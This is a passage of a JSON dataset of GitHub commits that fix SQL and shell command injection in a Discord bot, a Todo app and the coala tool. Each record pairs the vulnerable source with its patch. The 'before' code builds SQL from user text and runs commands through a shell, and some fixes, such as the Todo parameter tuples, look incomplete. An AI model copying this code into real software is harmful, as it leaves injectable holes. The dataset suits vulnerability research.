sql_command=message.id+\",'\"+str(message.edited_timestamp)+\"','\"+str(message.timestamp)+\"','\"+str(message.tts)+\"','\"+str(message.author.name)+\"',\"+str(message.author.id)+\",'\"+message.content+\"',\"+message.server.id+\",\"+message.channel.id\r \r print(sql_command)\r \r c.execute(\"INSERT INTO MESSAGE VALUES(\"+sql_command+\")\")\r self.database.commit() \r \r def check_folders():\r folders=(\"data\", \"data/database/\")\r for folder in folders:\r if not os.path.exists(folder):\r print(\"Creating \" +folder +\" folder...\")\r os.makedirs(folder)\r \r def check_files():\r if not os.path.isfile(DATABASE_PATH):\r conn=lite.connect(DATABASE_PATH)\r c=conn.cursor()\r \r def setup(bot):\r check_folders()\r check_files()\r bot.add_cog(Database(bot)) ", "sourceWithComments": "from discord.ext import commands\r\nfrom random import choice\r\nfrom .utils.dataIO import dataIO\r\nfrom .utils import checks\r\nfrom .utils.chat_formatting import box\r\nfrom collections import Counter, defaultdict, namedtuple\r\nimport discord\r\nimport asyncio\r\nimport sqlite3 as lite\r\nimport sys\r\nimport os\r\n\r\nDATABASE_PATH = \"data/database/data.db\"\r\n\r\nclass Database:\r\n \"\"\"General commands.\"\"\"\r\n def __init__(self, bot):\r\n self.database = lite.connect(DATABASE_PATH)\r\n\r\n async def on_message(self, message):\r\n server = message.server\r\n author = message.author\r\n channel = message.channel\r\n \r\n c = self.database.cursor()\r\n\r\n c.execute(\"SELECT EXISTS(SELECT 1 FROM USER WHERE id=\"+str(author.id)+\" collate nocase) LIMIT 1\")\r\n if c.fetchone()[0]==0:\r\n c.execute(\"INSERT INTO USER VALUES ('\"+author.name+\"',\"+author.id+\",'\"+str(author.bot)+\"','\"+author.avatar+\"','\"+str(author.created_at)+\"')\")\r\n\r\n c.execute(\"SELECT EXISTS(SELECT 1 FROM SERVERS WHERE id=\"+str(server.id)+\" collate nocase) LIMIT 1\")\r\n if c.fetchone()[0]==0:\r\n c.execute(\"INSERT INTO SERVERS VALUES ('\"+server.name+\"',\"+server.id+\",\"+server.owner.id+\")\")\r\n\r\n print(message.edited_timestamp)\r\n sql_command = message.id+\",'\"+str(message.edited_timestamp)+\"','\"+str(message.timestamp)+\"','\"+str(message.tts)+\"','\"+str(message.author.name)+\"',\"+str(message.author.id)+\",'\"+message.content+\"',\"+message.server.id+\",\"+message.channel.id\r\n \r\n print(sql_command)\r\n \r\n c.execute(\"INSERT INTO MESSAGE VALUES (\"+sql_command+\")\")\r\n self.database.commit() \r\n\r\ndef check_folders():\r\n folders = (\"data\", \"data/database/\")\r\n for folder in folders:\r\n if not os.path.exists(folder):\r\n print(\"Creating \" + folder + \" folder...\")\r\n os.makedirs(folder)\r\n\r\ndef check_files():\r\n if not os.path.isfile(DATABASE_PATH):\r\n conn = lite.connect(DATABASE_PATH)\r\n c = conn.cursor()\r\n #c.execute(\"CREATE TABLE IF NOT EXISTS servers (Id INT, Name TEXT)\")\r\n #c.execute(\"CREATE TABLE IF NOT EXISTS users (Id INT, ServerId INT, Name TEXT, Avatar_Url TEXT)\")\r\n #c.execute(\"CREATE TABLE IF NOT EXISTS messages (UserId INT, Message TEXT)\")\r\n\r\ndef setup(bot):\r\n check_folders()\r\n check_files()\r\n bot.add_cog(Database(bot))"}}, "msg": "Update SQL execute commands\n\nUpdate SQL execute commands to protect against SQL injections"}}, "https://github.com/philarin/Todo": {"dae42e685178422238fa7aa399f09cdf440d6018": {"url": "https://api.github.com/repos/philarin/Todo/commits/dae42e685178422238fa7aa399f09cdf440d6018", "html_url": "https://github.com/philarin/Todo/commit/dae42e685178422238fa7aa399f09cdf440d6018", "message": "Protected from MySQL injection.\n\nUsed the MySQLdb built in features with cursor.execute() to escape any\ncommand line input before running queries.", "sha": "dae42e685178422238fa7aa399f09cdf440d6018", "keyword": "command injection protect", "diff": "diff --git a/todo/todo_server_db.py b/todo/todo_server_db.py\nindex 954153a..fb6ef96 100644\n--- a/todo/todo_server_db.py\n+++ b/todo/todo_server_db.py\n@@ -100,7 +100,7 @@ def add_tag(self, name):\n \"\"\"\n cur = self.__con.cursor()\n try:\n- cur.execute(\"INSERT INTO tags(name) VALUE('%s')\" %name)\n+ cur.execute('INSERT INTO tags(name) VALUE(%s)', (name,))\n return Database.SUCCESS\n except MySQLdb.IntegrityError:\n return Database.DUPLICATE\n@@ -115,10 +115,10 @@ def remove_tag(self, name):\n DOES_NOT_EXIST it no tag was removed or SUCCESS otherwise.\n \"\"\"\n cur = self.__con.cursor()\n- cur.execute('DELETE FROM tasks'\n- \" WHERE tagid=(SELECT tagid FROM tags WHERE name='%s')\" %name)\n+ cur.execute('DELETE FROM tasks WHERE tagid='\n+ '(SELECT tagid FROM tags WHERE name=%s)', (name,))\n return Database.SUCCESS \\\n- if cur.execute(\"DELETE FROM tags WHERE name='%s'\" %name) \\\n+ if cur.execute('DELETE FROM tags WHERE name=%s', (name,)) \\\n else Database.DOES_NOT_EXIST\n \n def create_task(self, description, tag=None, due_date=None):\n@@ -149,15 +149,17 @@ def create_task(self, description, tag=None, due_date=None):\n cols['due_date'] = valid_date\n \n cur = self.__con.cursor()\n- if cur.execute(\"SELECT tagid FROM tags WHERE name='%s'\" %tag):\n+ if cur.execute('SELECT tagid FROM tags WHERE name=%s', (tag)):\n cols['tagid'] = str(cur.fetchone()[0])\n else:\n self.add_tag(tag)\n cols['tagid'] = str(self.__con.insert_id())\n \n try:\n- cur.execute(\"INSERT INTO tasks(%s) VALUES('%s')\"\n- %(','.join(cols.keys()), \"','\".join(cols.values())))\n+ query = \"INSERT INTO tasks(%s) VALUES(%s)\" %(','.join(cols.keys()),\n+ ', '.join(['%s' for i in cols.values()]))\n+ args = [query] + [tuple(cols.values())]\n+ cur.execute(*args)\n return Database.SUCCESS\n except MySQLdb.IntegrityError:\n return Database.DUPLICATE\n@@ -188,8 +190,8 @@ def update_date(self, taskid, date=None):\n else:\n date = \"'%s'\" %valid_date\n return Database.SUCCESS \\\n- if cur.execute(\"UPDATE tasks SET due_date=%s WHERE taskid=%s\"\n- %(date, int(taskid))) \\\n+ if cur.execute(\"UPDATE tasks SET due_date=%s WHERE taskid=%d\",\n+ (date, int(taskid))) \\\n else Database.DOES_NOT_EXIST\n \n def complete_task(self, taskid):\n@@ -205,7 +207,7 @@ def complete_task(self, taskid):\n cur = self.__con.cursor()\n return Database.SUCCESS \\\n if cur.execute('UPDATE tasks SET completed=TRUE'\n- ' WHERE taskid=%d' %int(taskid)) \\\n+ ' WHERE taskid=%d', (int(taskid),)) \\\n else Database.DOES_NOT_EXIST\n \n def delete_task(self, taskid):\n@@ -221,8 +223,8 @@ def delete_task(self, taskid):\n return Database.INVALID_ID\n cur = self.__con.cursor()\n return Database.SUCCESS \\\n- if cur.execute('DELETE FROM tasks WHERE taskid=%d' \\\n- %int(taskid)) else Database.DOES_NOT_EXIST\n+ if cur.execute('DELETE FROM tasks WHERE taskid=%d',\n+ (int(taskid),)) else Database.DOES_NOT_EXIST\n \n def show(self, tag=None):\n \"\"\"Gets tasks for a client to view.\n@@ -235,6 +237,7 @@ def show(self, tag=None):\n task. Tasks are ordered by tagid then taskid.\n \"\"\"\n cur = self.__con.cursor(MySQLdb.cursors.DictCursor)\n+ tag = self.__con.escape_string(tag)\n where_clause = \"WHERE name='%s'\" %tag if not tag == None else ''\n cur.execute('SELECT name, taskid, description, due_date, completed'\n ' FROM tasks NATURAL JOIN tags %s'\n", "files": {"/todo/todo_server_db.py": {"changes": [{"diff": "\n \"\"\"\n cur = self.__con.cursor()\n try:\n- cur.execute(\"INSERT INTO tags(name) VALUE('%s')\" %name)\n+ cur.execute('INSERT INTO tags(name) VALUE(%s)', (name,))\n return Database.SUCCESS\n except MySQLdb.IntegrityError:\n return Database.DUPLICATE\n", "add": 1, "remove": 1, "filename": "/todo/todo_server_db.py", "badparts": [" cur.execute(\"INSERT INTO tags(name) VALUE('%s')\" %name)"], "goodparts": [" cur.execute('INSERT INTO tags(name) VALUE(%s)', (name,))"]}, {"diff": "\n DOES_NOT_EXIST it no tag was removed or SUCCESS otherwise.\n \"\"\"\n cur = self.__con.cursor()\n- cur.execute('DELETE FROM tasks'\n- \" WHERE tagid=(SELECT tagid FROM tags WHERE name='%s')\" %name)\n+ cur.execute('DELETE FROM tasks WHERE tagid='\n+ '(SELECT tagid FROM tags WHERE name=%s)', (name,))\n return Database.SUCCESS \\\n- if cur.execute(\"DELETE FROM tags WHERE name='%s'\" %name) \\\n+ if cur.execute('DELETE FROM tags WHERE name=%s', (name,)) \\\n else Database.DOES_NOT_EXIST\n \n def create_task(self, description, tag=None, due_date=None):\n", "add": 3, "remove": 3, "filename": "/todo/todo_server_db.py", "badparts": [" cur.execute('DELETE FROM tasks'", " \" WHERE tagid=(SELECT tagid FROM tags WHERE name='%s')\" %name)", " if cur.execute(\"DELETE FROM tags WHERE name='%s'\" %name) \\"], "goodparts": [" cur.execute('DELETE FROM tasks WHERE tagid='", " '(SELECT tagid FROM tags WHERE name=%s)', (name,))", " if cur.execute('DELETE FROM tags WHERE name=%s', (name,)) \\"]}, {"diff": "\n cols['due_date'] = valid_date\n \n cur = self.__con.cursor()\n- if cur.execute(\"SELECT tagid FROM tags WHERE name='%s'\" %tag):\n+ if cur.execute('SELECT tagid FROM tags WHERE name=%s', (tag)):\n cols['tagid'] = str(cur.fetchone()[0])\n else:\n self.add_tag(tag)\n cols['tagid'] = str(self.__con.insert_id())\n \n try:\n- cur.execute(\"INSERT INTO tasks(%s) VALUES('%s')\"\n- %(','.join(cols.keys()), \"','\".join(cols.values())))\n+ query = \"INSERT INTO tasks(%s) VALUES(%s)\" %(','.join(cols.keys()),\n+ ', '.join(['%s' for i in cols.values()]))\n+ args = [query] + [tuple(cols.values())]\n+ cur.execute(*args)\n return Database.SUCCESS\n except MySQLdb.IntegrityError:\n return Database.DUPLICATE\n", "add": 5, "remove": 3, "filename": "/todo/todo_server_db.py", "badparts": [" if cur.execute(\"SELECT tagid FROM tags WHERE name='%s'\" %tag):", " cur.execute(\"INSERT INTO tasks(%s) VALUES('%s')\"", " %(','.join(cols.keys()), \"','\".join(cols.values())))"], "goodparts": [" if cur.execute('SELECT tagid FROM tags WHERE name=%s', (tag)):", " query = \"INSERT INTO tasks(%s) VALUES(%s)\" %(','.join(cols.keys()),", " ', '.join(['%s' for i in cols.values()]))", " args = [query] + [tuple(cols.values())]", " cur.execute(*args)"]}, {"diff": "\n else:\n date = \"'%s'\" %valid_date\n return Database.SUCCESS \\\n- if cur.execute(\"UPDATE tasks SET due_date=%s WHERE taskid=%s\"\n- %(date, int(taskid))) \\\n+ if cur.execute(\"UPDATE tasks SET due_date=%s WHERE taskid=%d\",\n+ (date, int(taskid))) \\\n else Database.DOES_NOT_EXIST\n \n def complete_task(self, taskid):\n", "add": 2, "remove": 2, "filename": "/todo/todo_server_db.py", "badparts": [" if cur.execute(\"UPDATE tasks SET due_date=%s WHERE taskid=%s\"", " %(date, int(taskid))) \\"], "goodparts": [" if cur.execute(\"UPDATE tasks SET due_date=%s WHERE taskid=%d\",", " (date, int(taskid))) \\"]}, {"diff": "\n cur = self.__con.cursor()\n return Database.SUCCESS \\\n if cur.execute('UPDATE tasks SET completed=TRUE'\n- ' WHERE taskid=%d' %int(taskid)) \\\n+ ' WHERE taskid=%d', (int(taskid),)) \\\n else Database.DOES_NOT_EXIST\n \n def delete_task(self, taskid):\n", "add": 1, "remove": 1, "filename": "/todo/todo_server_db.py", "badparts": [" ' WHERE taskid=%d' %int(taskid)) \\"], "goodparts": [" ' WHERE taskid=%d', (int(taskid),)) \\"]}, {"diff": "\n return Database.INVALID_ID\n cur = self.__con.cursor()\n return Database.SUCCESS \\\n- if cur.execute('DELETE FROM tasks WHERE taskid=%d' \\\n- %int(taskid)) else Database.DOES_NOT_EXIST\n+ if cur.execute('DELETE FROM tasks WHERE taskid=%d',\n+ (int(taskid),)) else Database.DOES_NOT_EXIST\n \n def show(self, tag=None):\n \"\"\"Gets tasks for a client to view.\n", "add": 2, "remove": 2, "filename": "/todo/todo_server_db.py", "badparts": [" if cur.execute('DELETE FROM tasks WHERE taskid=%d' \\", " %int(taskid)) else Database.DOES_NOT_EXIST"], "goodparts": [" if cur.execute('DELETE FROM tasks WHERE taskid=%d',", " (int(taskid),)) else Database.DOES_NOT_EXIST"]}], "source": "\n\"\"\"todo_server_db.py A class for communicating with MySQL to add, update, and remove tags and tasks. \"\"\" import sys import datetime import MySQLdb class Database: \"\"\"Interface to the MySQL database. A class for communicating with MySQL to add, update, and remove tags and tasks. Changing database methods will effect network/network.py since the method calls are only defined there and in the actual client script todo.py. The global attributes here are used as responses from the Todo server in todo_server_thread.py. Attributes: DEFAULT_TAG: tag to default to if no default tag is specified CANT_CONNECT: returned when Database can't connect to MySQL SUCCESS: returned for successful database calls DUPLICATE: returned when a method attempts to insert a duplicate entry DOES_NOT_EXIST: returned when a delete or update method can not find the row to delete or update INVALID_DATE: returned when a date passed to a method is not valid DATA: returned when data is passed across the network rather than an enumerated reponse \"\"\" DEFAULT_TAG='misc' CANT_CONNECT=0 SUCCESS=1 DUPLICATE=2 DOES_NOT_EXIST=3 INVALID_ID=4 INVALID_DATE=5 DATA=6 def __init__(self, default_tag): \"\"\"Pass configuration to the database class. Args: default_tag: tag name that task creation defaults to \"\"\" self.default_tag=default_tag def connect(self, hostname='localhost', username='todo', password='todo', database='todo'): \"\"\"Connects to the MySQL database. Args: hostname: MySQL hostname username: MySQL username password: MySQL password database: MySQL database Returns: SUCCESS if the connection succeeded or CANT_CONNECT if the connection was not made. \"\"\" try: self.__con=MySQLdb.connect(hostname, username, password, database) self.__con.autocommit(True) return Database.SUCCESS except MySQLdb.Error: return Database.CANT_CONNECT def close(self): \"\"\"Close the database connection.\"\"\" self.__con.close() @staticmethod def __format_date(date): \"\"\"Checks a date for validity then formats it. Args: date: string to format Returns: INVALID_DATE if the date is not valid or a formatted date otherwise. \"\"\" try: pieces=map(lambda x: int(x), date.split('-')) valid_date=datetime.date(pieces[2], pieces[0], pieces[1]) except(IndexError, ValueError): return Database.INVALID_DATE return valid_date.isoformat() def add_tag(self, name): \"\"\"Adds tag with name to the database. Args: name: tag name to add Returns: SUCCESS if the insertion succeeds or DUPLICATE if there is already a tag with name. If the cursor can not be \"\"\" cur=self.__con.cursor() try: cur.execute(\"INSERT INTO tags(name) VALUE('%s')\" %name) return Database.SUCCESS except MySQLdb.IntegrityError: return Database.DUPLICATE def remove_tag(self, name): \"\"\"Removes tag with name from the database along with its tasks. Args: name: tag name to be removed Returns: DOES_NOT_EXIST it no tag was removed or SUCCESS otherwise. \"\"\" cur=self.__con.cursor() cur.execute('DELETE FROM tasks' \" WHERE tagid=(SELECT tagid FROM tags WHERE name='%s')\" %name) return Database.SUCCESS \\ if cur.execute(\"DELETE FROM tags WHERE name='%s'\" %name) \\ else Database.DOES_NOT_EXIST def create_task(self, description, tag=None, due_date=None): \"\"\"Creates a task and sometimes a tag to the database. A task with description, tag, and due_date is created. If tag does not exist yet, it is added to the database first. If the date is provided it is checked for validity before being inserted. Args: description: description of the task tag: name of the task's tag due_date: date task is due with format MM-DD-YYYY Returns: SUCCESS if the insertion succeeds, INVALID_DATE if the date is not valid, or DUPLICATE if a task with the same description and tag exists. \"\"\" cols={'description': description} if not tag: tag=self.default_tag if due_date: valid_date=Database.__format_date(due_date) if valid_date==Database.INVALID_DATE: return valid_date else: cols['due_date']=valid_date cur=self.__con.cursor() if cur.execute(\"SELECT tagid FROM tags WHERE name='%s'\" %tag): cols['tagid']=str(cur.fetchone()[0]) else: self.add_tag(tag) cols['tagid']=str(self.__con.insert_id()) try: cur.execute(\"INSERT INTO tasks(%s) VALUES('%s')\" %(','.join(cols.keys()), \"','\".join(cols.values()))) return Database.SUCCESS except MySQLdb.IntegrityError: return Database.DUPLICATE def update_date(self, taskid, date=None): \"\"\"Update the date of the task with taskid. Updates the date of the taskid. If date is the default of None the date for taskid is set to NULL. Args: taskid: id of task to update date: value to change due_date for taskid Returns: INVALID_DATE if the date is not valid, DOES_NOT_EXIST if no task was updated, or SUCCESS otherwise. \"\"\" if not taskid.isdigit(): return Database.INVALID_ID cur=self.__con.cursor() if date==None: date='NULL' else: valid_date=Database.__format_date(date) if valid_date==Database.INVALID_DATE: return valid_date else: date=\"'%s'\" %valid_date return Database.SUCCESS \\ if cur.execute(\"UPDATE tasks SET due_date=%s WHERE taskid=%s\" %(date, int(taskid))) \\ else Database.DOES_NOT_EXIST def complete_task(self, taskid): \"\"\"Complete the task with taskid Args: taskid: id of task to complete Returns: DOES_NOT_EXIST if no task was updated or SUCCESS otherwise. \"\"\" if not taskid.isdigit(): return Database.INVALID_ID cur=self.__con.cursor() return Database.SUCCESS \\ if cur.execute('UPDATE tasks SET completed=TRUE' ' WHERE taskid=%d' %int(taskid)) \\ else Database.DOES_NOT_EXIST def delete_task(self, taskid): \"\"\"Delete the task with taskid. Args: taskid: id of the task to delete Returns: DOES_NOT_EXIST it no task was removed or SUCCESS otherwise. \"\"\" if not taskid.isdigit(): return Database.INVALID_ID cur=self.__con.cursor() return Database.SUCCESS \\ if cur.execute('DELETE FROM tasks WHERE taskid=%d' \\ %int(taskid)) else Database.DOES_NOT_EXIST def show(self, tag=None): \"\"\"Gets tasks for a client to view. Args: tag: only show tasks from this tag Returns: List of dictionaries where each dictionary represents a separate task. Tasks are ordered by tagid then taskid. \"\"\" cur=self.__con.cursor(MySQLdb.cursors.DictCursor) where_clause=\"WHERE name='%s'\" %tag if not tag==None else '' cur.execute('SELECT name, taskid, description, due_date, completed' ' FROM tasks NATURAL JOIN tags %s' ' ORDER BY tagid, taskid' %where_clause) return cur.fetchall() ", "sourceWithComments": "\"\"\"todo_server_db.py\n\nA class for communicating with MySQL to add, update, and remove tags and tasks.\n\"\"\"\n\nimport sys\nimport datetime\nimport MySQLdb\n\nclass Database:\n \"\"\"Interface to the MySQL database.\n\n A class for communicating with MySQL to add, update, and remove tags and\n tasks. Changing database methods will effect network/network.py since\n the method calls are only defined there and in the actual client script\n todo.py. The global attributes here are used as responses from the Todo\n server in todo_server_thread.py.\n\n Attributes:\n DEFAULT_TAG: tag to default to if no default tag is specified\n CANT_CONNECT: returned when Database can't connect to MySQL\n SUCCESS: returned for successful database calls\n DUPLICATE: returned when a method attempts to insert a duplicate entry\n DOES_NOT_EXIST: returned when a delete or update method can not find the\n row to delete or update\n INVALID_DATE: returned when a date passed to a method is not valid\n DATA: returned when data is passed across the network rather than an\n enumerated reponse\n \"\"\"\n\n DEFAULT_TAG = 'misc'\n CANT_CONNECT = 0\n SUCCESS = 1\n DUPLICATE = 2\n DOES_NOT_EXIST = 3\n INVALID_ID = 4\n INVALID_DATE = 5\n DATA = 6\n\n\n def __init__(self, default_tag):\n \"\"\"Pass configuration to the database class.\n\n Args:\n default_tag: tag name that task creation defaults to\n \"\"\"\n self.default_tag = default_tag\n\n def connect(self, hostname='localhost', username='todo', password='todo',\n database='todo'):\n \"\"\"Connects to the MySQL database.\n\n Args:\n hostname: MySQL hostname\n username: MySQL username\n password: MySQL password\n database: MySQL database\n\n Returns:\n SUCCESS if the connection succeeded or CANT_CONNECT if the\n connection was not made.\n \"\"\"\n try:\n self.__con = MySQLdb.connect(hostname, username, password, database)\n self.__con.autocommit(True)\n return Database.SUCCESS\n except MySQLdb.Error:\n return Database.CANT_CONNECT\n\n def close(self):\n \"\"\"Close the database connection.\"\"\"\n self.__con.close()\n\n @staticmethod\n def __format_date(date):\n \"\"\"Checks a date for validity then formats it.\n\n Args:\n date: string to format\n\n Returns:\n INVALID_DATE if the date is not valid or a formatted date otherwise.\n \"\"\"\n try:\n pieces = map(lambda x: int(x), date.split('-'))\n valid_date = datetime.date(pieces[2], pieces[0], pieces[1])\n except (IndexError, ValueError):\n return Database.INVALID_DATE\n return valid_date.isoformat()\n\n def add_tag(self, name):\n \"\"\"Adds tag with name to the database.\n\n Args:\n name: tag name to add\n\n Returns:\n SUCCESS if the insertion succeeds or DUPLICATE if there is already\n a tag with name. If the cursor can not be \n \"\"\"\n cur = self.__con.cursor()\n try:\n cur.execute(\"INSERT INTO tags(name) VALUE('%s')\" %name)\n return Database.SUCCESS\n except MySQLdb.IntegrityError:\n return Database.DUPLICATE\n\n def remove_tag(self, name):\n \"\"\"Removes tag with name from the database along with its tasks.\n\n Args:\n name: tag name to be removed\n\n Returns:\n DOES_NOT_EXIST it no tag was removed or SUCCESS otherwise.\n \"\"\"\n cur = self.__con.cursor()\n cur.execute('DELETE FROM tasks'\n \" WHERE tagid=(SELECT tagid FROM tags WHERE name='%s')\" %name)\n return Database.SUCCESS \\\n if cur.execute(\"DELETE FROM tags WHERE name='%s'\" %name) \\\n else Database.DOES_NOT_EXIST\n\n def create_task(self, description, tag=None, due_date=None):\n \"\"\"Creates a task and sometimes a tag to the database.\n\n A task with description, tag, and due_date is created. If tag does not\n exist yet, it is added to the database first. If the date is provided\n it is checked for validity before being inserted.\n\n Args:\n description: description of the task\n tag: name of the task's tag\n due_date: date task is due with format MM-DD-YYYY\n\n Returns:\n SUCCESS if the insertion succeeds, INVALID_DATE if the date is not\n valid, or DUPLICATE if a task with the same description and tag\n exists.\n \"\"\"\n cols = {'description': description}\n if not tag:\n tag = self.default_tag\n if due_date:\n valid_date = Database.__format_date(due_date)\n if valid_date == Database.INVALID_DATE:\n return valid_date\n else:\n cols['due_date'] = valid_date\n\n cur = self.__con.cursor()\n if cur.execute(\"SELECT tagid FROM tags WHERE name='%s'\" %tag):\n cols['tagid'] = str(cur.fetchone()[0])\n else:\n self.add_tag(tag)\n cols['tagid'] = str(self.__con.insert_id())\n\n try:\n cur.execute(\"INSERT INTO tasks(%s) VALUES('%s')\"\n %(','.join(cols.keys()), \"','\".join(cols.values())))\n return Database.SUCCESS\n except MySQLdb.IntegrityError:\n return Database.DUPLICATE\n\n def update_date(self, taskid, date=None):\n \"\"\"Update the date of the task with taskid.\n\n Updates the date of the taskid. If date is the default of None the date\n for taskid is set to NULL.\n\n Args:\n taskid: id of task to update\n date: value to change due_date for taskid\n\n Returns:\n INVALID_DATE if the date is not valid, DOES_NOT_EXIST if no task was\n updated, or SUCCESS otherwise.\n \"\"\"\n if not taskid.isdigit():\n return Database.INVALID_ID\n cur = self.__con.cursor()\n if date == None:\n date = 'NULL'\n else:\n valid_date = Database.__format_date(date)\n if valid_date == Database.INVALID_DATE:\n return valid_date\n else:\n date = \"'%s'\" %valid_date\n return Database.SUCCESS \\\n if cur.execute(\"UPDATE tasks SET due_date=%s WHERE taskid=%s\"\n %(date, int(taskid))) \\\n else Database.DOES_NOT_EXIST\n\n def complete_task(self, taskid):\n \"\"\"Complete the task with taskid\n\n Args:\n taskid: id of task to complete\n Returns:\n DOES_NOT_EXIST if no task was updated or SUCCESS otherwise.\n \"\"\"\n if not taskid.isdigit():\n return Database.INVALID_ID\n cur = self.__con.cursor()\n return Database.SUCCESS \\\n if cur.execute('UPDATE tasks SET completed=TRUE'\n ' WHERE taskid=%d' %int(taskid)) \\\n else Database.DOES_NOT_EXIST\n\n def delete_task(self, taskid):\n \"\"\"Delete the task with taskid.\n\n Args:\n taskid: id of the task to delete\n\n Returns:\n DOES_NOT_EXIST it no task was removed or SUCCESS otherwise.\n \"\"\"\n if not taskid.isdigit():\n return Database.INVALID_ID\n cur = self.__con.cursor()\n return Database.SUCCESS \\\n if cur.execute('DELETE FROM tasks WHERE taskid=%d' \\\n %int(taskid)) else Database.DOES_NOT_EXIST\n\n def show(self, tag=None):\n \"\"\"Gets tasks for a client to view.\n\n Args:\n tag: only show tasks from this tag\n\n Returns:\n List of dictionaries where each dictionary represents a separate\n task. Tasks are ordered by tagid then taskid.\n \"\"\"\n cur = self.__con.cursor(MySQLdb.cursors.DictCursor)\n where_clause = \"WHERE name='%s'\" %tag if not tag == None else ''\n cur.execute('SELECT name, taskid, description, due_date, completed'\n ' FROM tasks NATURAL JOIN tags %s'\n ' ORDER BY tagid, taskid' %where_clause)\n return cur.fetchall()\n"}}, "msg": "Protected from MySQL injection.\n\nUsed the MySQLdb built in features with cursor.execute() to escape any\ncommand line input before running queries."}}, "https://github.com/coala/coala": {"adc94c745e4d9f792fd9c9791c7b4cd8790d0d2f": {"url": "https://api.github.com/repos/coala/coala/commits/adc94c745e4d9f792fd9c9791c7b4cd8790d0d2f", "html_url": "https://github.com/coala/coala/commit/adc94c745e4d9f792fd9c9791c7b4cd8790d0d2f", "sha": "adc94c745e4d9f792fd9c9791c7b4cd8790d0d2f", "keyword": "command injection protect", "diff": "diff --git a/coalib/misc/Shell.py b/coalib/misc/Shell.py\nindex 951052b5c..46c264cef 100644\n--- a/coalib/misc/Shell.py\n+++ b/coalib/misc/Shell.py\n@@ -1,4 +1,5 @@\n from contextlib import contextmanager\n+import shlex\n from subprocess import PIPE, Popen\n \n from coalib.parsing.StringProcessing import escape\n@@ -7,23 +8,34 @@\n @contextmanager\n def run_interactive_shell_command(command, **kwargs):\n \"\"\"\n- Runs a command in shell and provides stdout, stderr and stdin streams.\n+ Runs a single command in shell and provides stdout, stderr and stdin\n+ streams.\n \n- This function creates a context manager that sets up the process, returns\n- to caller, closes streams and waits for process to exit on leaving.\n+ This function creates a context manager that sets up the process (using\n+ `subprocess.Popen()`), returns to caller, closes streams and waits for\n+ process to exit on leaving.\n \n- The process is opened in `universal_newlines` mode.\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass `shell=True` like you\n+ would do for `subprocess.Popen()`.\n \n- :param command: The command to run on shell.\n+ The process is opened in `universal_newlines` mode by default.\n+\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using `shlex.split()`.\n :param kwargs: Additional keyword arguments to pass to `subprocess.Popen`\n- that is used to spawn the process (except `shell`,\n- `stdout`, `stderr`, `stdin` and `universal_newlines`, a\n- `TypeError` is raised then).\n+ that is used to spawn the process (except `stdout`,\n+ `stderr`, `stdin` and `universal_newlines`, a `TypeError`\n+ is raised then).\n :return: A context manager yielding the process started from the\n command.\n \"\"\"\n+ if isinstance(command, str):\n+ command = shlex.split(command)\n+\n process = Popen(command,\n- shell=True,\n stdout=PIPE,\n stderr=PIPE,\n stdin=PIPE,\n@@ -40,16 +52,26 @@ def run_interactive_shell_command(command, **kwargs):\n \n def run_shell_command(command, stdin=None, **kwargs):\n \"\"\"\n- Runs a command in shell and returns the read stdout and stderr data.\n+ Runs a single command in shell and returns the read stdout and stderr data.\n+\n+ This function waits for the process (created using `subprocess.Popen()`) to\n+ exit.\n+\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass `shell=True` like you\n+ would do for `subprocess.Popen()`.\n \n- This function waits for the process to exit.\n+ See also `run_interactive_shell_command()`.\n \n- :param command: The command to run on shell.\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using `shlex.split()`.\n :param stdin: Initial input to send to the process.\n :param kwargs: Additional keyword arguments to pass to `subprocess.Popen`\n- that is used to spawn the process (except `shell`,\n- `stdout`, `stderr`, `stdin` and `universal_newlines`, a\n- `TypeError` is raised then).\n+ that is used to spawn the process (except `stdout`,\n+ `stderr`, `stdin` and `universal_newlines`, a `TypeError`\n+ is raised then).\n :return: A tuple with `(stdoutstring, stderrstring)`.\n \"\"\"\n with run_interactive_shell_command(command, **kwargs) as p:\n@@ -67,10 +89,10 @@ def get_shell_type(): # pragma: no cover\n Powershell is detected, \"cmd\" if command prompt is been\n detected or \"sh\" if it's neither of these.\n \"\"\"\n- out_hostname, _ = run_shell_command([\"echo\", \"$host.name\"])\n+ out_hostname, _ = run_shell_command([\"echo\", \"$host.name\"], shell=True)\n if out_hostname.strip() == \"ConsoleHost\":\n return \"powershell\"\n- out_0, _ = run_shell_command([\"echo\", \"$0\"])\n+ out_0, _ = run_shell_command([\"echo\", \"$0\"], shell=True)\n if out_0.strip() == \"\" and out_0.strip() == \"\":\n return \"cmd\"\n return \"sh\"\ndiff --git a/coalib/tests/bearlib/abstractions/LintTest.py b/coalib/tests/bearlib/abstractions/LintTest.py\nindex fabee38aa..4f5a38609 100644\n--- a/coalib/tests/bearlib/abstractions/LintTest.py\n+++ b/coalib/tests/bearlib/abstractions/LintTest.py\n@@ -1,4 +1,5 @@\n import os\n+import platform\n import unittest\n \n from coalib.bearlib.abstractions.Lint import Lint\n@@ -70,7 +71,12 @@ def test_stdin_input(self):\n with prepare_file([\"abcd\", \"efgh\"], None) as (lines, filename):\n # Use more which is a command that can take stdin and show it.\n # This is available in windows and unix.\n- self.uut.executable = \"more\"\n+ if platform.system() == \"Windows\":\n+ # Windows maps `more.com` to `more` only in shell, but `Lint`\n+ # doesn't use it.\n+ self.uut.executable = \"more.com\"\n+ else:\n+ self.uut.executable = \"more\"\n self.uut.use_stdin = True\n self.uut.use_stderr = False\n self.uut.process_output = lambda output, filename, file: output\ndiff --git a/coalib/tests/misc/ShellTest.py b/coalib/tests/misc/ShellTest.py\nindex f96080fa6..19dfadacd 100644\n--- a/coalib/tests/misc/ShellTest.py\n+++ b/coalib/tests/misc/ShellTest.py\n@@ -78,12 +78,10 @@ class RunShellCommandTest(unittest.TestCase):\n \n @staticmethod\n def construct_testscript_command(scriptname):\n- return \" \".join(\n- escape_path_argument(s) for s in (\n- sys.executable,\n+ return (sys.executable,\n os.path.join(os.path.dirname(os.path.realpath(__file__)),\n \"run_shell_command_testfiles\",\n- scriptname)))\n+ scriptname))\n \n def test_run_interactive_shell_command(self):\n command = RunShellCommandTest.construct_testscript_command(\n@@ -105,7 +103,7 @@ def test_run_interactive_shell_command_kwargs_delegation(self):\n \n # Test one of the forbidden parameters.\n 